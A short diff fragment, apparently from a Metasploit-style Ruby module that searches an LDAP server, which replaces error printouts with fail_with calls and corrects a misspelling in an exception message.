print_error("#{peer} Server did not return any data, seems to be safe") - # fail_with(Failure::NotVulnerable, 'Server does not return any data.') + fail_with(Failure::NotVulnerable, 'Server did not return any data, seems to be safe') end rescue Timeout::Error - print_error("#{peer} Host timeout reached") - # fail_with(Failure::TimeoutExpired, 'The timeout expired while searching directory') + fail_with(Failure::TimeoutExpired, 'The timeout expired while searching directory') rescue Net::LDAP::PDU::Error, Net::BER::BerError, Net::LDAP::Error, NoMethodError => e - print_error("#{peer} #{e.class}: #{e.message}") - # fail_with(Failure::UnexpectedReply, "Exception occured: #{e.class}: #{e.message}") + fail_with(Failure::UnexpectedReply, "Exception occurred: #{e.class}: #{e.message}") end def ldap_search(ldap, base_dn, args)